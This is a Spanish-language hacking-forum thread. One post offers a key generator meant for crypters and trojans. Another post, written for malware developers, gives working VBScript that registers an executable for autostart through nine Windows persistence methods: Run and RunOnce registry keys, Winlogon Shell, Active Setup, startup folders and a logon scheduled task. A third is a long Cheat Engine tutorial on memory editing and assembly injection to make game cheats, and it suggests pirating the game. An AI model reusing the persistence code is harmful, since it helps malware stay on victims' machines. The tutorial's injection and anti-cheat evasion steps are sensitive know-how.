Gracias!! :D
#10
Hola a todos, os dejo el siguiente aporte:


Se trata de una función para añadir a cualquier proyecto que requiera generar un ID único. Muy útil si estamos creando un crypter, troyano o cualquier otro malware. A veces necesitamos que el usuario introduzca una llave (key) para generar de forma única una cifrado resistente.

Pues bien, con éste ejemplo podrás incluir una "reja" de pixels, al pasar el mouse por encima se generará un patrón ÚNICO calculado a partir de:


  • AppID único definido por el programador
  • Longitud de tu HashKey
  • Patrón capturado por el ratón/mouse


El source se puede mejorar, así como la función de generación del Hash único, pero bueno, he hecho pruebas y es prácticamente imposible generar 2 HashKey iguales, recomiendo que cada uno utilice una firma propia (cualquier texto es válido), cuanto mayor sea la longitud del Hash generado, más complicado será encontrar una colisión (coincidencia).

https://www.mediafire.com/?fh74usgez3fvf7n
#11
Muy buenas a todos

Como ya sabéis, cuando estamos trabajando o desarrollando malware, es de suma importancia asegurarse que nuestro proceso/ejecutable/script se auto-ejecute en el sistema cada vez que el usuario inicie sesión.

Hay muchos métodos para lograr dicho efecto, los más conocidos es mover una copia del ejecutable a la carpeta "Inicio" del menú de Windows o añadir una clave "Run" en el regedit, no? Bueno, he hecho un poco de búsqueda y pruebas y he logrado agrupar 9 métodos de auto-ejecución en una sola función. Hay más de 9 métodos, pero no todos son compatibles entre ellos y he agrupado los más efectivos en una sola función.

La función la he programado en VBS, pero es fácilmente exportable a cualquier lenguaje de programación, incluido batch (que no es un lenguaje como tal). Los 9 métodos utilizados son:


  • Regedit: Run en HKCU
  • Regedit: Run en HKLM
  • Regedit: RunOnce en HKLM
  • Regedit: Policies en HKCU
  • Regedit: Winlogon\Shell en HKLM
  • Regedit: ActiveX en HKLM+HKCU
  • Win32: StartupFolder
  • Win32: AllUsersStartupFolder
  • Scheduled Task: OnLogon

Éstos son los 9 métodos de los que voy a hablar, pero faltarían algunos más, como por ejemplo Winlogon\Userinit, método iFEO, crear un system service, etc...

Además, he analizado el comportamiento de los 9 métodos y hay cosas a tener en cuenta. Si configuramos un sistema para que auto-ejecute un mismo programa utilizando éstos 9 métodos a la vez, el sistema los ejecutará en un orden concreto, además 4 de los 9 métodos se ejecutarán ANTES de iniciar el escritorio del usuario y los 5 métodos restantes se ejecutarán DESPUÉS de iniciar el escritorio. Además 2 de éstos 9 métodos poseen la propiedad HaltSystem, que mantendrán el sistema en suspensión hasta que la ejecución del proceso no finalice (cuidado!), aquí el script:

Código (vb) [Seleccionar]
Set oWSH = CreateObject("WScript.Shell")
Set oFSO = CreateObject("Scripting.FileSystemObject")

call startup
'call uninstall

Function startup
On Error Resume Next
oWSH.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\C1", "C:\V1.EXE"

oWSH.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\C2", "C:\V2.EXE"

oWSH.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\C3", "C:\V3.EXE"

oWSH.RegWrite "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\C4", "C:\V4.EXE"

oWSH.RegWrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell", "Explorer.exe, C:\V5.EXE"

oWSH.RegDelete "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{2EAA7630-C1E5-CA0F-0807-050503010603}\"
oWSH.RegDelete "HKCU\SOFTWARE\Microsoft\Active Setup\Installed Components\{2EAA7630-C1E5-CA0F-0807-050503010603}\"
oWSH.RegWrite "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{2EAA7630-C1E5-CA0F-0807-050503010603}\StubPath", "C:\V6.EXE"

oFSO.CopyFile "C:\V1.EXE", oWSH.SpecialFolders("Startup") & "\V7.EXE", True

oFSO.CopyFile "C:\V1.EXE", oWSH.SpecialFolders("AllUsersStartup") & "\V8.EXE", True

oWSH.Run "schtasks /create /tn " & Chr(34) & "V9" & Chr(34) & " /tr " & Chr(34) & "C:\V9.EXE" & Chr(34) & " /sc onlogon /F"
End Function

Function uninstall
On Error Resume Next
oWSH.RegDelete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\C1"

oWSH.RegDelete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\C2"

oWSH.RegDelete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\C3"

oWSH.RegDelete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\C4"

oWSH.RegWrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell", "Explorer.exe"

oWSH.RegDelete "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{2EAA7630-C1E5-CA0F-0807-050503010603}\StubPath"
oWSH.RegDelete "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{2EAA7630-C1E5-CA0F-0807-050503010603}\"
oWSH.RegDelete "HKCU\SOFTWARE\Microsoft\Active Setup\Installed Components\{2EAA7630-C1E5-CA0F-0807-050503010603}\"

oFSO.DeleteFile oWSH.SpecialFolders("Startup") & "\V7.EXE", True

oFSO.DeleteFile oWSH.SpecialFolders("AllUsersStartup") & "\V8.EXE", True

oWSH.Run "schtasks /delete /tn " & Chr(34) & "V9" & Chr(34) & " /f"
End Function


MsgBox "end"


He añadido también la función uninstall, que eliminará los 9 métodos dejando el sistema "intacto". El orden de ejecución de los 9 métodos son:

Se ejecutan ANTES de iniciar el Desktop

1º Scheduled Task
2º Winlogon\Shell
3º RunOnce (HaltSystem, hasta que no finalice el proceso, no se continuará la carga normal del systema)
4º ActiveX (HaltSystem, hasta que no finalice el proceso, no se continuará la carga normal del systema)

Se ejecutan DESPUES de iniciar el Desktop

5º Regedit: Run en HKLM
6º Regedit: Policies
7º Regedit: Run en HKCU
8º Win32: All Users Startup Folder
9º Win32: Startup Folder

Pues nada, aquí tenéis la función, podéis utilizar solo un método o los 9 a la vez. También si alguien conoce algún método más y le gustaría compartir estaré encantado de ampliar el post con más información.

Saludos!! :)
#12
Bueno, lo prometido es deuda, he terminado mi último tutorial sobre Cheat Engine. He querido subir un escalón en cuanto a conceptos y dificultad. El tutorial trabajará sobre un mismo objetivo; un juego llamado Hack, Slash, Loot. Intentaré explicar al detalle todos mis conocimientos. El glosario tratado es el siguiente:

# Introducción
# Buscar Address
# Conceptos Básicos
# VEH Debugger
# Pointers
# Creando el cheat GODMODE (intento fallido)
# Shared Codes
# Diseccionar Shared Code
# Creando el cheat GODMODE (auto-assemble)
# Diseccionar Estructuras
# Localizar estructuras dinámicas
# AoB to Memory Data
# Script VBS - AoB Pattern generator
# Bonus: Comparar estructuras con WinMerge
# TeleportHack
# Despedida

El tutorial lo he escrito en PDF, explicando paso a paso cada concepto. Más de 50 paginas y 100 capturas de pantalla. Espero que lo disfruten.

BUSCAR ADDRESS
CONCEPTOS BÁSICOS
Primero de todo voy a presentar lo que será nuestro objeto de estudio, nada más y nada menos que Hack, Slash, Loot. Un juego tipo roguerlike basado en un sistema de combates por turnos que nos ayudará a entender cada una de las partes del tutorial. El juego es un sencillo ejecutable de apenas 10MB que no necesita instalación. No puedo postear el link directo de descarga ya que el juego es de pago (aprox 5€), pero creo que no os costará demasiado hacer una búsqueda en "la baía del barco pirata" para encontrarlo. En el tutorial trabajaremos con la versión 8.0 de Hack, Slash, Loot.



Para empezar, yo he seleccionado el arquero, pulsamos el último botón de la derecha para iniciar el juego. Puedes seleccionar otro personaje si lo deseas. El juego se maneja con el ratón; es un roguerlike así que al tratarse de un juego "por turnos" no nos tendremos que preocupar en pausar el juego mientras lo reversamos, Hack, Slash, Loot (a partir de ahora HSL) es el juego ideal para explicar en un tutorial como éste:




Abajo del todo aparecen los stats de mi jugador, primero de todo hay que marcarse un objetivo, en mi caso nuestro objetivo será crear un cheat de tipo godmode (invulnerable). Cada juego es diferente, y cada cheater trabaja de forma diferente. Hay varios caminos que conducen al mismo lugar, cualquier comino es válidos siempre y cuando consigamos cumplir nuestro objetivo. Cuando un juego muestra claramente los puntos de vida (HP) a mi me gusta localizar el address que almacena la vida y bloquearla, otro método válido sería buscar la instrucción que modifica la vida y nopear, otro método es localizar los puntos de vida que te van a restar al recibir un golpe y setearlos a 0. Hay muchos métodos/caminos, y todos son válidos. Yo os explicaré los 3 métodos.

TRABAJANDO CON VEH DEBUGGER

Empezaremos abriendo nuestro Cheat Engine 6.3 (a partir de ahora CE), os recomiendo que configuréis las opciones de CE, tiene 3 debuggers (2 por software y uno tipo ring0 kernel-mode), a mi me gusta el VEH, es practicamente indetectable para los sistemas de anti-cheat, así que nos vamos a "Setting" y modificamos las opciones tal que así:



Una vez tenemos habilitado el VEH Debugger, procedemos a abrir el proceso del HSL



En los stats de nuestro jugador tenemos 30 puntos de vida, así que realizaremos una búsqueda. No conocemos el funcionamiento del juego, no sabemos de que forma almacena los datos (integer, float, double, ...), mi recomendación y experiencia me dice que probablemente el juego almacene los valores en formato Integer (Long) es decir, 4-bytes. Procedemos a realizar la primera búsqueda:



En mi caso han aparecido 990 direcciones con el valor 30. Lo que realizaremos ahora es buscar algún enemigo y dejaremos que nos haga daño para reducir nuestros puntos de vida, por suerte he aparecido al lado de un enemigo, así que haré click con el ratón encima de mi personaje para "pasar el turno" y conseguir que me hagan daño:



Bien, el maldito kobold me ha pegado una zurra y ahora mi personaje tiene 14 puntos de vida, así que realizo la segunda búsqueda en CE:



Bien! De las 990 direcciones encontradas al inicio, ahora solo tengo 2! No necesito hacer más búsquedas, solo tengo que probar cual de las 2 direcciones almacena la vida. Hacemos click derecho en la primera dirección y selleccionamos la opción "Change value of selected address", en el cuadro emergente ponemos un número cualquiera, por ejemplo 40 y miramos si nuestra vida a aumentado.



En mi caso he fallado, la dirección 0101FD98 no es la correcta, ya que si establezco su valor a 40, automáticamente se vuelve a poner con 14. Así que pruebo con la segunda:



Sí! Como podemos observar, la vida ha aumentado a 40, así que en mi ordenador, la dirección 03651910 almacena los puntos de vida. El único problema que tenemos ahora es que esa dirección no es estática. Si apagamos y encendemos el juego de nuevo, la dirección de los puntos de vida habrá cambiado por otra y tendría que volver a buscarla. ¿Cómo podemo evitar tener que buscar siempre una dirección no estática? Con los Pointers. Siguiente capítulo...


POINTERS

No voy a extenderme mucho hablando de los punteros (pointers), pero básicamente son una especie de "cajita" en la que el juego almacena la dirección de otro address. Nuestro objetivo es localizar el pointer (la cajita) que almacena la dirección de nuestra vida, así aunque la dirección cambie, el pointer siempre apuntará a la dirección correcta.

Para ello utilizaremos una función propia del CE llamada Pointer Scan. Necesitamos primero de todo localizar la dirección actual de nuestra vida, en mi ejemplo es la dirección 03651910. Hacemos doble-click encima de la direcció encontrada para mandarla en la parte inferior, pulsamos botón derecho encima y seleccionamos "Find out what accesses this address":



Nos preguntará si queremos iniciar el debugger, le decimos que sí, aparecerá una ventanita pequeña. Ahora volvemos al juego y jugamos un poco, movemos el personaje por la pantalla y luchamos con algún enemigo (intentando que nos hagan un poco de daño), tras recibir unos golpes volvemos a la ventanita del CE y encontraremos algo similar a esto:



En mi caso el debugger ha encontrado 4 instrucciones que han accedido a la dirección 03651910. Lo que tenemos que realizar ahora es buscar un patrón repetitivo. A simple vista me llama la atención el patrón [???+50]. En cada línea hay un [eax+50] o [ebx+50] ¿Qué significa? Hacemos click en una instrucción, yo he escogido  la instrucción SUB, abajo aparece una porción de las instrucciones así como el estado de los registros:



[ebx+50] se traduce como 036518C0 + 50 (Hexadecimal), así que abrimos nuestra calculadora de Windows (modo Programador) y realizamos la suma:



El resultado de dicha suma es 3651910 que se corresponde a nuestra dirección con los puntos de vida. Todo esto lo hemos realizado para conocer que tipo de pointer tendremos que buscar, os recomiendo que abráis un documento de texto para ir anotando los valores. En ésta instrucción, EBX apunta a la estructura base de nuestro jugador. El offset +50 de dicha estructura almacena los puntos de vida, tal que así:
EBX = 036518C0 (PLAYER STRUCTURE)
EBX+50 = 3651910 (PLAYER HP VIDA)
El pointer que tenemos que buscar ha de terminar con el offset +50 ya que es el patrón que hemos visto con el debugger, anotad en vuestro fichero algo así como:



Cerramos el debugger y volvemos a la ventana principal del CE, con nuestro address mostrando la vida del jugador. Hacemos click derecho encima del address y seleccionamos Pointer Scan:



Se nos abrirá una ventana con muchas opciones. En la parte superior nos pregunta que dirección queremos buscar. Automáticamente CE ha rellenado el address de nuestra vida (3651910) ya que lo que queremos es buscar cualquier pointer que apunte a nuestra vida. Más abajo tendremos que cambiar las opciones que he señalado en rojo. Primero le indicaremos al pointer-scan que nuestro pointer debe terminar con el offset +50 (es lo que descubrimos con el debugger!) Luego parametrizamos la complejidad del pointer, para juegos de éste tipo, con un nivel entre 1-5 es suficiente, el tamaño puede ir desde 1024 a 2048. Para nuestro ejemplo yo he puesto nivel = 3 y tamaño = 1024.



Pulsamos OK y nos preguntará donde guardar el fichero de pointers, mi recomendación es que hagáis una sub-carpeta para almacenar el pointer, yo le he puesto el nombre de vida. Tras unos segundos se iniciará el scaneo de pointers y nos dará un resultado:



Wow 85 punteros. En algunos juegos, la primera búsqueda de pointers puede devolver más de 5 millónes de resultados (es normal), para lograr encontrar el pointer correcto se necesitan realizar varios escaneos consecutivos.
Bien, ya hemos realizado la primera búsqueda y nos ha devuelto 85 punteros. Lo que realizaremos ahora es cerrar el juego por completo y lo volveremos a abrir. Volveremos  abrir el proceso de HSL y realizaremos de nuevo la búsqueda manual del address con los puntos de vida:



Como podéis observar, la antigua dirección 03651910 ya no muestra la vida real del jugador, ahora la vida se almacena en la nueva dirección 038388B0 (que abremos buscado manualmente tal y como hemos visto en el inicio de éste tutorial). Ya hemos encontrado la nueva dirección con los puntos de vida, así que pulsamos click derecho encima de la dirección y seleccionamos Pointer Scan de nuevo:



ATENCIÓN! Ahora se ha vuelto a abrir la misma ventana de antes, con las opciones del pointer. Lo que hay que hacer es CERRAR ésta ventana ya que no queremos iniciar una nueva búsqueda, si no continuar la búsqueda con los resultados anteriores:





Se nos habrán cargado los pointers anteriores (en mi caso 85), así que realizaremos una búsqueda utilizando estos 85 punteros de referencia:



Se nos abrirá una ventana más pequeña, aquí indicaremos el valor de la nueva dirección que debería tener el pointer, introduciremos la nueva address que hace referencia a los puntos de vida, en mi caso 038388B0:



Pulsamos OK (nos preguntará donde guardar los resultados, podéis guardar con el mismo nombre o con un nombre nuevo) tras unos segundos nos reducirá los resultados según el valor buscado:



Bieeeen, 1 solo resuntado. Seguro que ese es nuestro pointer! Además el offset termina en +50 tal y como hemos configurado. Hacemos doble-click en el resultado y el pointer se mandará a nuestra tabla de CE:



Podemos ver como CE muestra los pointers con el carácter P->, si ahora reiniciamos el juego, el pointer nos mostrará la dirección de nuestra vida, podremos editar, congelar o trabajar con la dirección.
Hasta aquí el tutorial sobre pointers, practicad y veréis que no es tan complicado como parece.

CREANDO EL CHEAT GODMODE
(PRIMER INTENTO FALLIDO)

Bueno, ya que hemos encontrado el address de nuestra vida y que, además, tenemos el pointer estático de dicho address, podemos establecer un valor y marcar la casilla para "congelarlo", así obtendríamos lo que sería una especia de godmode:



Lo único que no me gusta de éste método es que si luchamos contra un enemigo muy poderoso y de un solo golpe nos quita -700 puntos de vida... terminaremos muriendo ya que la velocidad de refresco del CE nunca será superior a la del juego. Para evitar eso y conseguir un godmode más real podemos hacer muchas cosas, pero yo recomiendo las siguientes:
•   Detectar el valor de daño que nos aplicarán y establecerlo siempre a 0
•   Detectar la instrucción que modifica o resta los puntos de vida y cambiarla por un NOP
Ambos métodos son correctos y yo los aconsejo ya que son "mejores" que setear un pointer a un valor fijo. Para ello pulsaremos click derecho en nuestro pointer (que apunta a la address de los puntos de vida) y miraremos que instrucciones escriben en dicha dirección:




Al tratarse de un pointer, CE nos preguntará si queremos mirar la instrucción que modifica el pointer o la instrucción que modifica la dirección a la que apunta nuestro pointer. Siempre, siempre, siempre escogeremos la segunda opción:




Nos volverá a salir la pequeña ventanita del debugger, que estará vigilando a ver que instrucción escribirá sobre el address del pointer (los puntos de vida). Volvemos al juego y jugamos unos cuantos turnos hasta recibir un poco de daño, cuando hayamos recibido daño, volvemos a la ventanita del debugger y encontraremos lo siguiente:



La ventana nos muestra que la instrucción 00550474 ha modificado nuestra vida, ademas nos enseña el código ASM que realiza la acción de modificar sub [ebx+50],eax y el estado de todos los registros, vámos a interpretar:
POINTER VIDA = 37490B0
INSTRUCCIÓN = SUB [EBX+50],EAX
EBX = 03749060
EAX = 7
Lo que está ocurriendo aquí es la llamada a la instrucción SUB (substract / restar) el valor de EAX a la dirección [EBX+50]
EBX+50 = 03749060 + 50 = 37490B0 (Pointer Address Vida)
En resumen, resta el valor de EAX=7 a nuestra dirección de memoria que almacena los puntos de vida, por lo que dicha instrucción me quita 7 puntos de vida.
Perfecto, ahora ya entra la genialidad de cada uno para reversar dicha instrucción. Hay varias formas y todas son válidas:
•   Cambiar el SUB por un ADD (así en cada golpe, la vida aumentará)
•   Cambiar EAX por 0, quedaría así: sub [ebx+50],0 (así en cada golpe, la vida disminuye en 0)
•   Nopear la instrucción cambiando el sub [ebx+50],eax por varios NOP
De las 3 opciones que os he propuesto, la primera de todas parece la más sencilla. Además a parte de conseguir un godmode, nuestra vida aumentaría en cada golpe. Vámos a probar. Pulsamos el botón "Show disassembler" para abrir la ventana de Memory View:



CE ya nos ha posicionado en la instrucción 00550474, así que hacemos click derecho en la instrucción y seleccionamos "Assemble" para editarla:



Y cambiamos la palabra SUB por ADD:



Os recomiendo que hagáis click derecho de nuevo sobre la instrucción y os guardéis la dirección en el fichero de texto:






Así tendréis guardada la dirección para más tarde y ahorraremos tiempo, en mi caso es HackSlashLoot.exe+150474. Cerramos el Memory View y la ventanita del debugger, dejando solo la ventana principal del CE y el juego. Iniciamos un nuevo combate para ver si funciona nuestro "hack":



670 puntos de vida! En lugar de disminuir ha aumentado! Bien somos unos hackers-cheaters-crackers de la elite profesional, pero... si intentas matar a tu enemigo haciendo click encima del kobold, verás que por una extraña circunstancia no puedes matarlo... ¿Qué raro, no? Si miramos bien, el juego nos muestra la vida de nuestro enemigo si lo seleccionamos con el ratón:



Horror! La vida del enemigo también aumenta! ¿Cómo es eso posible? Bueno, esto por desgracia suele ocurrir. El programador del juego está utilizando la misma función para restar vida al jugador y a los enemigos, por eso al haber cambiado el SUB por el ADD, tanto la vida del jugador como la de los enemigos aumenta en cada golpe. Éste efecto se le conoce como Shared Code (código compartido) ya que la instrucción HackSlashLoot.exe+150474 es compartida por más de una dirección de memoria. ¿Hay alguna forma de solucionar éste problema? Sí, sigue leyendo...

SHARED CODES
Primero de todo vamos a dejar el juego como estaba, quitando el ADD que pusimos anteriormente por el SUB original, abrimos el Memory View:



Si hemos cerrado el CE quizás ya no estemos encima de la instrucción original, copiamos la instrucción de nuestras notas (en mi caso HackSlashLoot.exe+150474) y hacemos:





Nos situaremos delante de la instrucción, hacemos doble-click encima (o click derecho / "Assemble") y cambiamos el ADD por el SUB original, así todo estará en su sitio.

Ahora lo que os voy a enseñar es un método para comprobar si una misma instrucción modifica más de una dirección de memoria, para ello pulsamos botón derecho encima de la instrucción y seleccionamos "Find out what addresses this instruction accesses"







Si lo hemos hecho bien, la instrucción quedará marcada en verde y aparecerá una ventana. Sin cerrar la ventana, volvemos al juego e intentamos forzar que dicha instrucción trabaje. Para ello iniciaos un combate hasta recibir algo de daño y causar nosotros daño al enemigo:



Y aquí tenemos el resultado, han aparecido 2 direcciones que han sido accedidas por la misma instrucción, la primera (104D3490) tiene valor 70 y se corresponde con la vida del enemigo (ver foto). La segunda dirección (037490B0) es la dirección de mi vida, además su valor coincide con la vida de mi personaje (ver foto). Está más que claro que ésta instrucción ha modificado ambas direcciones, por lo que si cambiamos el SUB por un ADD afectará tanto a mi vida como a la vida de los enemigos.

Bueno, pulsamos STOP para que CE deje de observar la instrucción (la instrucción ya no estará marcada en verde) y dejamos la ventanita con las 2 direcciones abierta). Ahora que ya conocemos el método para saber cuando estamos delante de un Shared Code os explicaré como diseccionar la estructura del jugador y la del enemigo para buscar diferencias y poder aplicar un ADD en el caso que sea el jugador y un SUB en el caso de un enemigo.

DISECCIONAR SHARED CODE
Seguimos! Hemos encontrado una instrucción del tipo Share Code", os dejo el resumen:
DIRECCIÓN   =   HACKSLASHLOOT.EXE+150474
OPCODES   =   SUB [EBX+50],EAX
TIPO      =   SHARED CODE

Sabemos que el offset +50 de la estructura es donde el juego almacena la vida, dependiendo del valor de EBX la instrucció modificará la dirección del jugador o la del enemigo. Está clarisimo que tendremos que ver el estado de los registros para saber la dirección afectada, para ello hacemos click drecho en nuestra dirección del jugador y seleccionamos "Show register states":



Se nos abrirá una mini ventana con el estado de los registros, hacemos lo mismo con la dirección del enemigo y ponemos las 2 ventanas una al lado de la otra:



Nos fijamos en los registros EBX, naturalmente EBX apunta al inicio de la estructura de cada jugador (nuestro player y el enemigo). Si miramos con más atención, el registro ESI tiene el mismo valor que EBX en el caso del Player pero en el caso del Enemigo ESI no vale lo mismo que EBX.

Pues de ésta forma tan sencilla acabamos de inventarnos un método para conocer cuando la instrucción está modificando el address del player o del enemigo, dicho método es una simple comparación:

CMP EBX,ESI
JNE ENEMIGO

O lo que es lo mismo, comparamos el valor de EBX con ESI y saltaremos a "ENEMIGO" si no son iguales. ¿Qué os parece? Habría otras formas para diferenciar ambas estructuras, pero la que a mi se me ha ocurrido es ésta. Ahora solo falta decirle a CE que sepa diferenciar el Shared Code y nos haga un ADD o un SUB cuando nosotros queramos.

CREANDO EL CHEAT GODMODE

(SEGUNDO INTENTO) : AUTO-ASSEMBLE
Cerramos la ventanita para quedarnos delante del Memory View con la instrucción seleccionada. Vamos al menú "Tools / Auto-Assemble":



Se nos abrirá un editor de Auto-Assemble (a partir de ahora AA), podemos escribir a mano todo el script pero CE tiene un par de plantillas que nos ahorrarán mucho trabajo, hay que usar los siguientes menús, hay que hacerlo en el mismo orden que os explicaré:

1.   "Template / Cheat Table framework code"
2.   "Template / Code Injection"
3.   Pulsar OK para aceptar la dirección de nuestra instrucción

Si lo hemos hecho bien obtendremos el siguiente código automático:




Ahora vamos al menú "File / Assign to current cheat table" y luego "File / Exit". Si lo hemos hecho bien, la ventana del Auto-Assemble se habrá cerrado y tendremos un script en la ventana principal del CE:





Hacemos doble click encima del script y se volverá a abrir la ventana del Auto-Assemble, desde aquí ya podremos modificar el script para conseguir un godmode como dios manda (valga la redundancia), vámos a identificar cada parte del código:

El script está separado por 2 secciones grandes llamadas [ENABLE] y [DISABLE]. El código de la parte [ENABLE] se ejecutará cuando el script esté activo. Cuando desactivemos el script, se ejecutarán las instrucciones de la sección [DISABLE].
En la parte de [ENABLE] empieza con un alloc() que sirve para reservar una sección de memoria. Por defecto CE nos asignará 2kbytes para inyectar código ASM, dicha sección de código estará bajo la etiqueta NEWMEM. Luego encontramos 3 etiquetas que sirven para identificar partes del código:

•   Returnhere   =   Indica el final del código
•   Originalcode   =   Indica la parte original del código, en nuestro caso el SUB
•   Exit      =   No se utiliza, es lo mismo que Returnhere

Teniendo éstas 3 partes bien identificadas queda muy claro que escribiremos nuestro código bajo la etiqueta NEWMEM, el resto no lo queremos modificar. En el espacio que tenemos entre NEWMEM y ORIGINALCODE escribimos lo siguiente:

CMP EBX,ESI
JNE ORIGINALCODE
MOV EAX,0

¿Que significan éstas líneas? Básicamente lo que estamos realizando primero es comparar el registro EBX con ESI. Anteriormente dijimo que si EBX = ESI significa que es el jugado, en cambio si EBX != ESI entonces es el enemigo. Luego lanzamos un salto condicional JNE (Jump if Not Equal) es decir "salta si no es igual", si EBX no es igual a ESI entonces saltará a ORIGINALCODE y ejecutara el SUB, en cambio si EBX es igual a ESI (jugador) no saltará y se ejecutará la instrucción MOV EAX,0 es decir, EAX=0. Con esto lo que conseguimos es que cuando se ejecute el SUB, el registro EAX valdrá 0 y no nos restará la vida. El script te ha de quedar así:




Ahora activamos el script haciendo click en el recuadro y luchamos con algún enemigo. Verás que si eres golpeado, tu vida no decrece. En cambio si golpeas a un enemigo, su vida decrecerá con normalidad. Desactiva el script y abre el Memory View, hacemos un GoTo Address "HackSlashLoot.exe"+150474, aparecerá el código original:



Ahora pulsamos el script para activarlo y miramos que ocurre en dicha instrucción:




El código original ha sido sustituido por un jmp 02C50000 (en tu caso podrá ser otro address), hagamos click derecho en el jmp y seleccionamos Follow para ver que hay ahí:



Lo que encontramos tras ese jmp es el código ASM que hemos inyectado con el Auto-Assemble script, aquí se ve muy claro como trabaja CE, si desactivamos el script, dicha zona de memoria será borrada.

DISECCIONAR ESTRUCTURAS

RECORRER LOS OFFSETS "A MANO"
Ahora ya tenemos un script en Auto-Assemble que nos permite activar un cheat tipo godmode y que además es capaz de diferenciar si se trata de un jugador o de un enemigo. Lo que voy a explicar a continuación es como diseccionar una estructura para encontrar otros valores interesantes.

Una estructura en programación consiste en declarar una serie de variables comunes y asignarlas a un "nombre", ejemplo:
STRUCT PLAYER
{
INT  ID;
CHAR NAME[10];
FLOAT MANA;
DOUBLE HEALTH;
};

En éste caso he creado una estructura llamada player que contiene 4 variables (id, nombre, mana, health). Así es como están programados la gran mayoría de video-juegos. Las estructuras están cargadas en memoria (tiempo de ejecución). Nuestro objetivo será conocer el address de la estructura de nuestro jugador para poder diseccionarla con una herramienta (base-address). Sigamos con el tutorial...
Primero de todo trabajaremos con el juego "original", así que el script de godmode lo dejamos desactivado. Tenemos ya nuestro pointer que apunta a la dirección de los puntos de vida del jugador. Hacemos click derecho encima del pointer y seleccionamos "Find out what writes to this address":



Al tratarse de un pointer nos preguntará si queremos mirar la instrucción que escribe encima del pointer o la instrucción que escribe el address de nuestro pointer. Siempre escogeremos la segunda opción. Se abrirá la ventana del debugger así que volvemos al juego y dejamos que un enemigo nos golpee, acto seguido volvemos a la ventanita y nos aparecerá nuestra instrucción famosa:



Si hacemos click en ella nos aparece abajo toda la información. Pulsamos el botón "More Information"



Nos aparece un recuadro con información adicional, he subrallado una frase importante que nos indica CE... nos está calculando cual es la direcció probable de nuestra estructura, en mi caso nos indica 03918860, así que hacemos click derecho encima para copiar la dirección:



Perfecto, ya tenemos la base-address de la estructura de nuestro jugador, ya podemos diseccionarla! Cerramos la ventana de "More Information" y la ventanita del debugger. Nos situamos en la ventana principal de CE, pulsamos en Memory View y luego en el menú: "Tools / Dissect data & structures":



Se abrirá una ventana grande de color blanco, en la parte superior podremos escribir una address. Lo que hay que hacer es escribir la base-address de nuestra estructura (en mi caso 03918860):



Vámos al menú: "Structures / Define New structure". Nos preguntará que nombre queremos asignar, puedes poner lo que quieras, yo puse PLAYER. A continuación nos preguntará si queremos que CE rellene automáticamente la estructura:



Le diremos YES para ahorrarnos trabajo, jeje. Luego nos preguntará el tamaño. Por defecto CE asigna 4096 offsets. Bajo mi punto de vista son demasiados, así que yo lo bajo a 1024 o 2048:



Finalmente, tras definir el tamaño, CE cogerá la base-address de la estructura y la diseccionará 1024 offsets, obtendremos lo siguiente:



No nos asustemos, vámos a interpretar la información que nos proporciona CE... ¿recuerdas que offset corresponde a los puntos de vida? Puedes mirar las notas o el pointer que tenemos en la tabla:



Pues sí, la vida está situata en el offset +50, si miramos la estructura diseccionada veremos que se corresponde al valor del pointer y a los puntos de vida:






Ahora a partir de aquí es cuestión de "tocar, explorar y probar". Mi recomendación personal es que cerca de un offset válido se encuentran el resto de offsets de la estructura. Lo primero que ahoremos es poner un nombre a los offsets conocidos, por el momento solo conocemos el offset +50 así que damos doble-click encima y le pones un nombre:



Ahora lo interesante sería poder detectar que offsets se corresponden al ataque, rango, magia, defensa, etc... estoy seguro que esos offsets estarán cerca de la vida (+50) así que miraré los offsets cercanos y los compararé con mi jugador:






Me llama la atención el offset +34... tiene un valor de 40 que coincide con los 40 puntos de daño en el juego:



Así que hacemos click derecho encima del offset +34 y seleccionamos la opción "Change Value" e introducimo un nuevo valor, por ejemplo 77





BINGO! El offset +34 es el encargado de almacenar el daño (Melee Attack) así que hacemos doble-click para editarlo y apuntamos el offset a nuestras notas:



Está clarísimo que los offsets entre +34 y +50 serán los otros stats, así que iremos editando cada offset para conocer su valor en el juego y lo anotaremos en nuestra disección y en nuestras notas. Así me ha quedado a mi:




Bueno, ya tengo la estructura diseccionada al completo, hay otros offsets, quizás alguno esté almacenando algo interesante, pero eso ya lo veremos más adelante. Ahora ya tenemos la estructura diseccionada con los offsets principales. Solo nos queda poder calcular automáticamente la base-address de nuestra estructura para luego sumar +50 +34 +etc... e ir sacando cada una de las direcciones importantes. ¿Cómo lo hacemos? Pues tendremos que encontrar un patrón que no sidentifique la base-address de la estructura de nuestro jugador. Empezemos...

LOCALIZAR ESTRUCTURAS DINÁMICAS

AOB TO MEMORY DATA
Necesitamos encontrar un patron en la memoria del programa/juego que nos identifique la base-address de forma automática. El método es muy sencillo, hay que buscar la base-address manualmente y copiar los bytes que contiene dicha base-address. Éstos pasos hay que repetirlos varias veces, dependiendo del juego y de su complejidad, necesitarás repetir ésta operación 5, 6, 7 o 10 veces. En el caso de Hack, Slash, Loot he realizado 5 búsquedas hasta encontrar un patrón válido.
Podemos empezar de varias formas, pero a mi me gusta partir siempre de la instrucción que modifica un offset de nuestra estructura. En las notas tenemos apuntado lo siguiente:



Sabemos que la instrucción HackSlashLoot.exe+150474 modifica el offset +50 de nuestra estructura, así que abrimos el Memory View, hacemos click derecho y pulsamos "GoTo Address":



Estaremos delante de la instrucción famosa SUB que se encarga de restar la vida, así que pondremos un breakpoint en dicha instrucción (si pulsas F5 se pone el Breakpoint) o podemos hacer click derecho y seleccionar "Toggle Break Point". Se nos quedará marcada la instrucción en verde indicando que hay un breakpoint:



Ahora volvemos al juego, iniciamos una pelea y dejamos que el enemigo nos golpee, verás que el juego se queda "congelado" ya que el breakpoint ha detenido la ejecución del juego así que volvemos a CE y nos encontraremos lo siguiente:



